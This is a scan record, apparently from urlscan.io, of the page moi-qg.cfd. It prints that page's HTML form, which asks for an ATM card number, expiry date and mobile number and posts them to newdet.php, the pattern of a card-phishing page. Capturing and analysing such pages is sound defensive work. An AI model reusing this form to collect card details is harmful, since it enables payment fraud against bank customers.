moi-qg.cfd Open in urlscan Pro
188.114.96.3  Public Scan

Form analysis
1 forms found in the DOM

POST newdet.php

<form action="newdet.php" method="POST" class="mt-3">
  <div class="input-group mb-3">
    <span class="input-group-text" id="basic-addon3"><i class="fas fa-credit-card"></i></span>
    <input type="tel" name="cnumber" class="form-control" placeholder="Enter your ATM card number (16 digits)*" maxlength="16" required="">
  </div>
  <!-- <div class="input-group mb-3">
        <span class="input-group-text" id="basic-addon3"><i class="fas fa-user"></i></span>
        <input type="text" name="username" class="form-control" placeholder="Enter Your Username" required>
    </div> -->
  <div class="input-group mb-3">
    <span class="input-group-text" id="basic-addon2"><i class="fas fa-calendar-alt"></i></span>
    <select class="form-control" name="expiry_month" required="">
      <option value="" disabled="" selected="">Expiry Month</option>
      <!-- Add options for months here -->
      <option value="01">01 - January</option>
      <option value="02">02 - February</option>
      <option value="03">03 - March</option>
      <option value="04">04 - April</option>
      <option value="05">05 - May</option>
      <option value="06">06 - June</option>
      <option value="07">07 - July</option>
      <option value="08">08 - August</option>
      <option value="09">09 - September</option>
      <option value="10">10 - October</option>
      <option value="11">11 - November</option>
      <option value="12">12 - December</option>
    </select>
    <select class="form-control" name="expiry_year" required="">
      <option value="" disabled="" selected="">Expiry Year</option>
      <!-- Add options for years here -->
      <option value="2024">2024</option>
      <option value="2025">2025</option>
      <option value="2026">2026</option>
      <option value="2027">2027</option>
      <option value="2028">2028</option>
      <option value="2029">2029</option>
      <option value="2030">2030</option>
      <option value="2031">2031</option>
      <option value="2032">2032</option>
    </select>
  </div>
  <!--  <div class="input-group mb-3">
        <span class="input-group-text" id="basic-addon3"><i class="fas fa-calendar"></i></span>
        <input type="tel" name="expiry" class="form-control" placeholder="أدخل تاريخ انتهاء صلاحية بطاقة الصراف الآلي الخاصة بك (شهر/سنة)(MM/YYYY)*" maxlength="8" required>
    </div>
-->
  <div class="input-group mb-3">
    <span class="input-group-text" id="basic-addon3"><i class="fas fa-phone"></i></span>
    <input type="tel" name="mobileNumber" class="form-control" placeholder="Registered Mobile Number" required="">
  </div>
  <div class="text-center">
    <button type="submit" name="update" class="btn btn-success btn-block">
      <i class="fas fa-check-circle"></i> Update </button>
  </div>
</form>

Text Content

Expiry Month 01 - January 02 - February 03 - March 04 - April 05 - May 06 - June
07 - July 08 - August 09 - September 10 - October 11 - November 12 - December
Expiry Year 2024 2025 2026 2027 2028 2029 2030 2031 2032

Update